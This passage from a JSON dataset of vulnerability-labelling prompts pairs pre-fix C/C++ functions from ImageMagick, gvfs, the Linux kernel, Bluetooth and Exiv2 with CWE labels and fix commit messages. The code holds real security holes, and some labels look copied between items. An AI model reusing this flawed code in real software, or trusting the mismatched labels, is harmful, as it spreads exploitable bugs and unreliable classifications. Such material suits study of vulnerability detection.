(image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n status=SetImageExtent(image,image->columns,image->rows);\n if (status == MagickFalse)\n {\n InheritException(exception,&image->exception);\n return(DestroyImageList(image));\n }\n status=ResetImagePixels(image,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n /*\n Convert PIX raster image to pixel packets.\n */\n red=(Quantum) 0;\n green=(Quantum) 0;\n blue=(Quantum) 0;\n index=(IndexPacket) 0;\n length=0;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n indexes=GetAuthenticIndexQueue(image);\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (length == 0)\n {\n int\n c;\n\n c=ReadBlobByte(image);\n if ((c == 0) || (c == EOF))\n break;\n length=(size_t) c;\n if (bits_per_pixel == 8)\n index=ScaleCharToQuantum((unsigned char) ReadBlobByte(image));\n else\n {\n blue=ScaleCharToQuantum((unsigned char) ReadBlobByte(image));\n green=ScaleCharToQuantum((unsigned char) ReadBlobByte(image));\n red=ScaleCharToQuantum((unsigned char) ReadBlobByte(image));\n }\n }\n if (image->storage_class == PseudoClass)\n SetPixelIndex(indexes+x,index);\n SetPixelBlue(q,blue);\n SetPixelGreen(q,green);\n SetPixelRed(q,red);\n length--;\n q++;\n }\n if (x < (ssize_t) image->columns)\n break;\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n if (image->storage_class == PseudoClass)\n (void) SyncImage(image);\n if (EOFBlob(image) != MagickFalse)\n {\n ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n break;\n }\n /*\n Proceed to next image.\n */\n if (image_info->number_scenes != 0)\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n width=ReadBlobMSBLong(image);\n height=ReadBlobMSBLong(image);\n (void) ReadBlobMSBShort(image);\n (void) ReadBlobMSBShort(image);\n bits_per_pixel=ReadBlobMSBShort(image);\n status=(width != 0UL) && (height == 0UL) && ((bits_per_pixel == 8) ||\n (bits_per_pixel == 24)) ? MagickTrue : MagickFalse;\n if (status != MagickFalse)\n {\n /*\n Allocate next image structure.\n */\n AcquireNextImage(image_info,image);\n if (GetNextImageInList(image) == (Image *) NULL)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n image=SyncNextImageInList(image);\n status=SetImageProgress(image,LoadImagesTag,TellBlob(image),\n GetBlobSize(image));\n if (status == MagickFalse)\n break;\n }\n } while (status != MagickFalse);\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': 'Fix ultra rare but potential memory-leak'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadSGIImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n Image\n *image;\n\n MagickBooleanType\n status;\n\n MagickSizeType\n number_pixels;\n\n MemoryInfo\n *pixel_info;\n\n register IndexPacket\n *indexes;\n\n register PixelPacket\n *q;\n\n register ssize_t\n i,\n x;\n\n register unsigned char\n *p;\n\n SGIInfo\n iris_info;\n\n size_t\n bytes_per_pixel,\n quantum;\n\n ssize_t\n count,\n y,\n z;\n\n unsigned char\n *pixels;\n\n /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n image=AcquireImage(image_info);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Read SGI raster header.\n */\n (void) memset(&iris_info,0,sizeof(iris_info));\n iris_info.magic=ReadBlobMSBShort(image);\n do\n {\n /*\n Verify SGI identifier.\n */\n if (iris_info.magic != 0x01DA)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n iris_info.storage=(unsigned char) ReadBlobByte(image);\n switch (iris_info.storage)\n {\n case 0x00: image->compression=NoCompression; break;\n case 0x01: image->compression=RLECompression; break;\n default:\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n iris_info.bytes_per_pixel=(unsigned char) ReadBlobByte(image);\n if ((iris_info.bytes_per_pixel == 0) || (iris_info.bytes_per_pixel > 2))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n iris_info.dimension=ReadBlobMSBShort(image);\n if ((iris_info.dimension == 0) || (iris_info.dimension > 3))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n iris_info.columns=ReadBlobMSBShort(image);\n iris_info.rows=ReadBlobMSBShort(image);\n iris_info.depth=ReadBlobMSBShort(image);\n if ((iris_info.depth == 0) || (iris_info.depth > 4))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n iris_info.minimum_value=ReadBlobMSBLong(image);\n iris_info.maximum_value=ReadBlobMSBLong(image);\n iris_info.sans=ReadBlobMSBLong(image);\n count=ReadBlob(image,sizeof(iris_info.name),(unsigned char *)\n iris_info.name);\n if ((size_t) count != sizeof(iris_info.name))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n iris_info.name[sizeof(iris_info.name)-1]='\\0';\n if (*iris_info.name != '\\0')\n (void) SetImageProperty(image,\"label\",iris_info.name);\n iris_info.pixel_format=ReadBlobMSBLong(image);\n if (iris_info.pixel_format != 0)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n count=ReadBlob(image,sizeof(iris_info.filler),iris_info.filler);\n if ((size_t) count != sizeof(iris_info.filler))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n image->columns=iris_info.columns;\n image->rows=iris_info.rows;\n image->matte=iris_info.depth == 4 ? MagickTrue : MagickFalse;\n image->depth=(size_t) MagickMin(iris_info.depth,MAGICKCORE_QUANTUM_DEPTH);\n if (iris_info.pixel_format == 0)\n image->depth=(size_t) MagickMin((size_t) 8*iris_info.bytes_per_pixel,\n MAGICKCORE_QUANTUM_DEPTH);\n if (iris_info.depth < 3)\n {\n image->storage_class=PseudoClass;\n image->colors=(size_t) (iris_info.bytes_per_pixel > 1 ? 65535 : 256);\n }\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n status=SetImageExtent(image,image->columns,image->rows);\n if (status != MagickFalse)\n status=ResetImagePixels(image,&image->exception);\n if (status == MagickFalse)\n {\n InheritException(exception,&image->exception);\n return(DestroyImageList(image));\n }\n /*\n Allocate SGI pixels.\n */\n bytes_per_pixel=(size_t) iris_info.bytes_per_pixel;\n number_pixels=(MagickSizeType) iris_info.columns*iris_info.rows;\n if ((4*bytes_per_pixel*number_pixels) != ((MagickSizeType) (size_t)\n (4*bytes_per_pixel*number_pixels)))\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n pixel_info=AcquireVirtualMemory(iris_info.columns,iris_info.rows*4*\n bytes_per_pixel*sizeof(*pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);\n (void) memset(pixels,0,iris_info.columns*iris_info.rows*4*\n bytes_per_pixel*sizeof(*pixels));\n if ((int) iris_info.storage != 0x01)\n {\n unsigned char\n *scanline;\n\n /*\n Read standard image format.\n */\n scanline=(unsigned char *) AcquireQuantumMemory(iris_info.columns,\n bytes_per_pixel*sizeof(*scanline));\n if (scanline == (unsigned char *) NULL)\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n for (z=0; z < (ssize_t) iris_info.depth; z++)\n {\n p=pixels+bytes_per_pixel*z;\n for (y=0; y < (ssize_t) iris_info.rows; y++)\n {\n count=ReadBlob(image,bytes_per_pixel*iris_info.columns,scanline);\n if (count != (bytes_per_pixel*iris_info.columns))\n break;\n if (bytes_per_pixel == 2)\n for (x=0; x < (ssize_t) iris_info.columns; x++)\n {\n *p=scanline[2*x];\n *(p+1)=scanline[2*x+1];\n p+=8;\n }\n else\n for (x=0; x < (ssize_t) iris_info.columns; x++)\n {\n *p=scanline[x];\n p+=4;\n }\n }\n if (y < (ssize_t) iris_info.rows)\n break;\n }\n scanline=(unsigned char *) RelinquishMagickMemory(scanline);\n }\n else\n {\n MemoryInfo\n *packet_info;\n\n size_t\n *runlength;\n\n ssize_t\n offset,\n *offsets;\n\n unsigned char\n *packets;\n\n unsigned int\n data_order;\n\n /*\n Read runlength-encoded image format.\n */\n offsets=(ssize_t *) AcquireQuantumMemory((size_t) iris_info.rows,\n iris_info.depth*sizeof(*offsets));\n runlength=(size_t *) AcquireQuantumMemory(iris_info.rows,\n iris_info.depth*sizeof(*runlength));\n packet_info=AcquireVirtualMemory((size_t) iris_info.columns+10UL,4UL*\n sizeof(*packets));\n if ((offsets == (ssize_t *) NULL) ||\n (runlength == (size_t *) NULL) ||\n (packet_info == (MemoryInfo *) NULL))\n {\n offsets=(ssize_t *) RelinquishMagickMemory(offsets);\n runlength=(size_t *) RelinquishMagickMemory(runlength);\n if (packet_info != (MemoryInfo *) NULL)\n packet_info=RelinquishVirtualMemory(packet_info);\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n packets=(unsigned char *) GetVirtualMemoryBlob(packet_info);\n for (i=0; i < (ssize_t) (iris_info.rows*iris_info.depth); i++)\n offsets[i]=(ssize_t) ReadBlobMSBSignedLong(image);\n for (i=0; i < (ssize_t) (iris_info.rows*iris_info.depth); i++)\n {\n runlength[i]=ReadBlobMSBLong(image);\n if (runlength[i] > (4*(size_t) iris_info.columns+10))\n {\n offsets=(ssize_t *) RelinquishMagickMemory(offsets);\n runlength=(size_t *) RelinquishMagickMemory(runlength);\n packet_info=RelinquishVirtualMemory(packet_info);\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n }\n /*\n Check data order.\n */\n offset=0;\n data_order=0;\n for (y=0; ((y < (ssize_t) iris_info.rows) && (data_order == 0)); y++)\n for (z=0; ((z < (ssize_t) iris_info.depth) && (data_order == 0)); z++)\n {\n if (offsets[y+z*iris_info.rows] < offset)\n data_order=1;\n offset=offsets[y+z*iris_info.rows];\n }\n offset=(ssize_t) TellBlob(image);\n if (data_order == 1)\n {\n for (z=0; z < (ssize_t) iris_info.depth; z++)\n {\n p=pixels;\n for (y=0; y < (ssize_t) iris_info.rows; y++)\n {\n if (offset != offsets[y+z*iris_info.rows])\n {\n offset=offsets[y+z*iris_info.rows];\n offset=(ssize_t) SeekBlob(image,(MagickOffsetType) offset,\n SEEK_SET);\n }\n (void) ReadBlob(image,(size_t) runlength[y+z*iris_info.rows],\n packets);\n if (count != runlength[y+z*iris_info.rows])\n break;\n offset+=(ssize_t) runlength[y+z*iris_info.rows];\n status=SGIDecode(bytes_per_pixel,(ssize_t)\n (runlength[y+z*iris_info.rows]/bytes_per_pixel),packets,\n (ssize_t) iris_info.columns,p+bytes_per_pixel*z);\n if (status == MagickFalse)\n {\n offsets=(ssize_t *) RelinquishMagickMemory(offsets);\n runlength=(size_t *) RelinquishMagickMemory(runlength);\n packet_info=RelinquishVirtualMemory(packet_info);\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\n \"ImproperImageHeader\");\n }\n p+=(iris_info.columns*4*bytes_per_pixel);\n }\n if (y < (ssize_t) iris_info.rows)\n break;\n }\n }\n else\n {\n MagickOffsetType\n position;\n\n position=TellBlob(image);\n p=pixels;\n for (y=0; y < (ssize_t) iris_info.rows; y++)\n {\n for (z=0; z < (ssize_t) iris_info.depth; z++)\n {\n if (offset != offsets[y+z*iris_info.rows])\n {\n offset=offsets[y+z*iris_info.rows];\n offset=(ssize_t) SeekBlob(image,(MagickOffsetType) offset,\n SEEK_SET);\n }\n count=ReadBlob(image,(size_t) runlength[y+z*iris_info.rows],\n packets);\n if (count != runlength[y+z*iris_info.rows])\n break;\n offset+=(ssize_t) runlength[y+z*iris_info.rows];\n status=SGIDecode(bytes_per_pixel,(ssize_t)\n (runlength[y+z*iris_info.rows]/bytes_per_pixel),packets,\n (ssize_t) iris_info.columns,p+bytes_per_pixel*z);\n if (status == MagickFalse)\n {\n offsets=(ssize_t *) RelinquishMagickMemory(offsets);\n runlength=(size_t *) RelinquishMagickMemory(runlength);\n packet_info=RelinquishVirtualMemory(packet_info);\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\n \"ImproperImageHeader\");\n }\n }\n if (z < (ssize_t) iris_info.depth)\n break;\n p+=(iris_info.columns*4*bytes_per_pixel);\n }\n offset=(ssize_t) SeekBlob(image,position,SEEK_SET);\n }\n packet_info=RelinquishVirtualMemory(packet_info);\n runlength=(size_t *) RelinquishMagickMemory(runlength);\n offsets=(ssize_t *) RelinquishMagickMemory(offsets);\n }\n /*\n Convert SGI raster image to pixel packets.\n */\n if (image->storage_class == DirectClass)\n {\n /*\n Convert SGI image to DirectClass pixel packets.\n */\n if (bytes_per_pixel == 2)\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=pixels+(image->rows-y-1)*8*image->columns;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelRed(q,ScaleShortToQuantum((unsigned short)\n ((*(p+0) << 8) | (*(p+1)))));\n SetPixelGreen(q,ScaleShortToQuantum((unsigned short)\n ((*(p+2) << 8) | (*(p+3)))));\n SetPixelBlue(q,ScaleShortToQuantum((unsigned short)\n ((*(p+4) << 8) | (*(p+5)))));\n SetPixelOpacity(q,OpaqueOpacity);\n if (image->matte != MagickFalse)\n SetPixelAlpha(q,ScaleShortToQuantum((unsigned short)\n ((*(p+6) << 8) | (*(p+7)))));\n p+=8;\n q++;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n y,image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n }\n else\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=pixels+(image->rows-y-1)*4*image->columns;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelRed(q,ScaleCharToQuantum(*p));\n q->green=ScaleCharToQuantum(*(p+1));\n q->blue=ScaleCharToQuantum(*(p+2));\n SetPixelOpacity(q,OpaqueOpacity);\n if (image->matte != MagickFalse)\n SetPixelAlpha(q,ScaleCharToQuantum(*(p+3)));\n p+=4;\n q++;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n }\n else\n {\n /*\n Create grayscale map.\n */\n if (AcquireImageColormap(image,image->colors) == MagickFalse)\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n /*\n Convert SGI image to PseudoClass pixel packets.\n */\n if (bytes_per_pixel == 2)\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=pixels+(image->rows-y-1)*8*image->columns;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n indexes=GetAuthenticIndexQueue(image);\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n quantum=(*p << 8);\n quantum|=(*(p+1));\n SetPixelIndex(indexes+x,quantum);\n p+=8;\n q++;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n y,image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n }\n else\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=pixels+(image->rows-y-1)*4*image->columns;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n indexes=GetAuthenticIndexQueue(image);\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelIndex(indexes+x,*p);\n p+=4;\n q++;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n (void) SyncImage(image);\n }\n pixel_info=RelinquishVirtualMemory(pixel_info);\n if (EOFBlob(image) != MagickFalse)\n {\n ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n break;\n }\n /*\n Proceed to next image.\n */\n if (image_info->number_scenes != 0)\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n iris_info.magic=ReadBlobMSBShort(image);\n if (iris_info.magic == 0x01DA)\n {\n /*\n Allocate next image structure.\n */\n AcquireNextImage(image_info,image);\n if (GetNextImageInList(image) == (Image *) NULL)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n image=SyncNextImageInList(image);\n status=SetImageProgress(image,LoadImagesTag,TellBlob(image),\n GetBlobSize(image));\n if (status == MagickFalse)\n break;\n }\n } while (iris_info.magic == 0x01DA);\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': 'Fix ultra rare but potential memory-leak'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: g_vfs_daemon_init (GVfsDaemon *daemon)\n{\n GError *error;\n gint max_threads = 1; /* TODO: handle max threads */\n\n daemon->thread_pool = g_thread_pool_new (job_handler_callback,\n\t\t\t\t\t daemon,\n\t\t\t\t\t max_threads,\n\t\t\t\t\t FALSE, NULL);\n /* TODO: verify thread_pool != NULL in a nicer way */\n g_assert (daemon->thread_pool != NULL);\n\n g_mutex_init (&daemon->lock);\n\n daemon->mount_counter = 0;\n \n daemon->jobs = NULL;\n daemon->registered_paths =\n g_hash_table_new_full (g_str_hash, g_str_equal,\n\t\t\t g_free, (GDestroyNotify)registered_path_free);\n\n /* This is where we store active client connections so when a new filter is registered,\n * we re-register them on all active connections */\n daemon->client_connections =\n g_hash_table_new_full (g_direct_hash, g_direct_equal, g_object_unref, NULL);\n\n daemon->conn = g_bus_get_sync (G_BUS_TYPE_SESSION, NULL, NULL);\n g_assert (daemon->conn != NULL);\n\n daemon->daemon_skeleton = gvfs_dbus_daemon_skeleton_new ();\n g_signal_connect (daemon->daemon_skeleton, \"handle-get-connection\", G_CALLBACK (handle_get_connection), daemon);\n g_signal_connect (daemon->daemon_skeleton, \"handle-cancel\", G_CALLBACK (handle_cancel), daemon);\n g_signal_connect (daemon->daemon_skeleton, \"handle-list-monitor-implementations\", G_CALLBACK (handle_list_monitor_implementations), daemon);\n \n error = NULL;\n if (!g_dbus_interface_skeleton_export (G_DBUS_INTERFACE_SKELETON (daemon->daemon_skeleton),\n daemon->conn,\n G_VFS_DBUS_DAEMON_PATH,\n &error))\n {\n g_warning (\"Error exporting daemon interface: %s (%s, %d)\\n\",\n error->message, g_quark_to_string (error->domain), error->code);\n g_error_free (error);\n }\n\n daemon->mountable_skeleton = gvfs_dbus_mountable_skeleton_new ();\n g_signal_connect (daemon->mountable_skeleton, \"handle-mount\", G_CALLBACK (daemon_handle_mount), daemon);\n \n error = NULL;\n if (!g_dbus_interface_skeleton_export (G_DBUS_INTERFACE_SKELETON (daemon->mountable_skeleton),\n daemon->conn,\n G_VFS_DBUS_MOUNTABLE_PATH,\n &error))\n {\n g_warning (\"Error exporting mountable interface: %s (%s, %d)\\n\",\n error->message, g_quark_to_string (error->domain), error->code);\n g_error_free (error);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-276'], 'message': 'gvfsdaemon: Check that the connecting client is the same user\n\nOtherwise, an attacker who learns the abstract socket address from\nnetstat(8) or similar could connect to it and issue D-Bus method\ncalls.\n\nSigned-off-by: Simon McVittie '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int insn_get_code_seg_params(struct pt_regs *regs)\n{\n\tstruct desc_struct *desc;\n\tshort sel;\n\n\tif (v8086_mode(regs))\n\t\t/* Address and operand size are both 16-bit. */\n\t\treturn INSN_CODE_SEG_PARAMS(2, 2);\n\n\tsel = get_segment_selector(regs, INAT_SEG_REG_CS);\n\tif (sel < 0)\n\t\treturn sel;\n\n\tdesc = get_desc(sel);\n\tif (!desc)\n\t\treturn -EINVAL;\n\n\t/*\n\t * The most significant byte of the Type field of the segment descriptor\n\t * determines whether a segment contains data or code. If this is a data\n\t * segment, return error.\n\t */\n\tif (!(desc->type & BIT(3)))\n\t\treturn -EINVAL;\n\n\tswitch ((desc->l << 1) | desc->d) {\n\tcase 0: /*\n\t\t * Legacy mode. CS.L=0, CS.D=0. Address and operand size are\n\t\t * both 16-bit.\n\t\t */\n\t\treturn INSN_CODE_SEG_PARAMS(2, 2);\n\tcase 1: /*\n\t\t * Legacy mode. CS.L=0, CS.D=1. Address and operand size are\n\t\t * both 32-bit.\n\t\t */\n\t\treturn INSN_CODE_SEG_PARAMS(4, 4);\n\tcase 2: /*\n\t\t * IA-32e 64-bit mode. CS.L=1, CS.D=0. Address size is 64-bit;\n\t\t * operand size is 32-bit.\n\t\t */\n\t\treturn INSN_CODE_SEG_PARAMS(4, 8);\n\tcase 3: /* Invalid setting. CS.L=1, CS.D=1 */\n\t\t/* fall through */\n\tdefault:\n\t\treturn -EINVAL;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416', 'CWE-362'], 'message': 'x86/insn-eval: Fix use-after-free access to LDT entry\n\nget_desc() computes a pointer into the LDT while holding a lock that\nprotects the LDT from being freed, but then drops the lock and returns the\n(now potentially dangling) pointer to its caller.\n\nFix it by giving the caller a copy of the LDT entry instead.\n\nFixes: 670f928ba09b (\"x86/insn-eval: Add utility function to get segment descriptor\")\nCc: stable@vger.kernel.org\nSigned-off-by: Jann Horn \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int hci_conn_check_link_mode(struct hci_conn *conn)\n{\n\tBT_DBG(\"hcon %p\", conn);\n\n\t/* In Secure Connections Only mode, it is required that Secure\n\t * Connections is used and the link is encrypted with AES-CCM\n\t * using a P-256 authenticated combination key.\n\t */\n\tif (hci_dev_test_flag(conn->hdev, HCI_SC_ONLY)) {\n\t\tif (!hci_conn_sc_enabled(conn) ||\n\t\t !test_bit(HCI_CONN_AES_CCM, &conn->flags) ||\n\t\t conn->key_type != HCI_LK_AUTH_COMBINATION_P256)\n\t\t\treturn 0;\n\t}\n\n\tif (hci_conn_ssp_enabled(conn) &&\n\t !test_bit(HCI_CONN_ENCRYPT, &conn->flags))\n\t\treturn 0;\n\n\t/* The minimum encryption key size needs to be enforced by the\n\t * host stack before establishing any L2CAP connections. The\n\t * specification in theory allows a minimum of 1, but to align\n\t * BR/EDR and LE transports, a minimum of 7 is chosen.\n\t */\n\tif (conn->enc_key_size < HCI_MIN_ENC_KEY_SIZE)\n\t\treturn 0;\n\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-327'], 'message': 'Bluetooth: Fix regression with minimum encryption key size alignment\n\nWhen trying to align the minimum encryption key size requirement for\nBluetooth connections, it turns out doing this in a central location in\nthe HCI connection handling code is not possible.\n\nOriginal Bluetooth version up to 2.0 used a security model where the\nL2CAP service would enforce authentication and encryption. Starting\nwith Bluetooth 2.1 and Secure Simple Pairing that model has changed into\nthat the connection initiator is responsible for providing an encrypted\nACL link before any L2CAP communication can happen.\n\nNow connecting Bluetooth 2.1 or later devices with Bluetooth 2.0 and\nbefore devices are causing a regression. The encryption key size check\nneeds to be moved out of the HCI connection handling into the L2CAP\nchannel setup.\n\nTo achieve this, the current check inside hci_conn_security() has been\nmoved into l2cap_check_enc_key_size() helper function and then called\nfrom four decisions point inside L2CAP to cover all combinations of\nSecure Simple Pairing enabled devices and device using legacy pairing\nand legacy service security model.\n\nFixes: d5bb334a8e17 (\"Bluetooth: Align minimum encryption key size for LE and BR/EDR connections\")\nBugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=203643\nSigned-off-by: Marcel Holtmann \nCc: stable@vger.kernel.org\nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void PngImage::readMetadata()\n {\n#ifdef DEBUG\n std::cerr << \"Exiv2::PngImage::readMetadata: Reading PNG file \" << io_->path() << std::endl;\n#endif\n if (io_->open() != 0)\n {\n throw Error(kerDataSourceOpenFailed, io_->path(), strError());\n }\n IoCloser closer(*io_);\n if (!isPngType(*io_, true)) {\n throw Error(kerNotAnImage, \"PNG\");\n }\n clearMetadata();\n\n const long imgSize = (long) io_->size();\n DataBuf cheaderBuf(8); // Chunk header: 4 bytes (data size) + 4 bytes (chunk type).\n\n while(!io_->eof())\n {\n std::memset(cheaderBuf.pData_, 0x0, cheaderBuf.size_);\n readChunk(cheaderBuf, *io_); // Read chunk header.\n\n // Decode chunk data length.\n uint32_t chunkLength = Exiv2::getULong(cheaderBuf.pData_, Exiv2::bigEndian);\n long pos = io_->tell();\n if (pos == -1 ||\n chunkLength > uint32_t(0x7FFFFFFF) ||\n static_cast(chunkLength) > imgSize - pos) {\n throw Exiv2::Error(kerFailedToReadImageData);\n }\n\n std::string chunkType(reinterpret_cast(cheaderBuf.pData_) + 4, 4);\n#ifdef DEBUG\n std::cout << \"Exiv2::PngImage::readMetadata: chunk type: \" << chunkType\n << \" length: \" << chunkLength << std::endl;\n#endif\n\n /// \\todo analyse remaining chunks of the standard\n // Perform a chunk triage for item that we need.\n if (chunkType == \"IEND\" || chunkType == \"IHDR\" || chunkType == \"tEXt\" || chunkType == \"zTXt\" ||\n chunkType == \"iTXt\" || chunkType == \"iCCP\") {\n DataBuf chunkData(chunkLength);\n readChunk(chunkData, *io_); // Extract chunk data.\n\n if (chunkType == \"IEND\") {\n return; // Last chunk found: we stop parsing.\n } else if (chunkType == \"IHDR\" && chunkData.size_ >= 8) {\n PngChunk::decodeIHDRChunk(chunkData, &pixelWidth_, &pixelHeight_);\n } else if (chunkType == \"tEXt\") {\n PngChunk::decodeTXTChunk(this, chunkData, PngChunk::tEXt_Chunk);\n } else if (chunkType == \"zTXt\") {\n PngChunk::decodeTXTChunk(this, chunkData, PngChunk::zTXt_Chunk);\n } else if (chunkType == \"iTXt\") {\n PngChunk::decodeTXTChunk(this, chunkData, PngChunk::iTXt_Chunk);\n } else if (chunkType == \"iCCP\") {\n // The ICC profile name can vary from 1-79 characters.\n uint32_t iccOffset = 0;\n while (iccOffset < 80 && iccOffset < chunkLength) {\n if (chunkData.pData_[iccOffset++] == 0x00) {\n break;\n }\n }\n profileName_ = std::string(reinterpret_cast(chunkData.pData_), iccOffset-1);\n ++iccOffset; // +1 = 'compressed' flag\n\n zlibToDataBuf(chunkData.pData_ + iccOffset, chunkLength - iccOffset, iccProfile_);\n#ifdef DEBUG\n std::cout << \"Exiv2::PngImage::readMetadata: profile name: \" << profileName_ << std::endl;\n std::cout << \"Exiv2::PngImage::readMetadata: iccProfile.size_ (uncompressed) : \"\n << iccProfile_.size_ << std::endl;\n#endif\n }\n\n // Set chunkLength to 0 in case we have read a supported chunk type. Otherwise, we need to seek the\n // file to the next chunk position.\n chunkLength = 0;\n }\n\n\n // Move to the next chunk: chunk data size + 4 CRC bytes.\n#ifdef DEBUG\n std::cout << \"Exiv2::PngImage::readMetadata: Seek to offset: \" << chunkLength + 4 << std::endl;\n#endif\n io_->seek(chunkLength + 4 , BasicIo::cur);\n if (io_->error() || io_->eof()) {\n throw Error(kerFailedToReadImageData);\n }\n }\n } // PngImage::readMetadata ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Avoid negative integer overflow when `iccOffset > chunkLength`.\n\nThis fixes #790.'" + }, + { + "text": "[INST] Given the 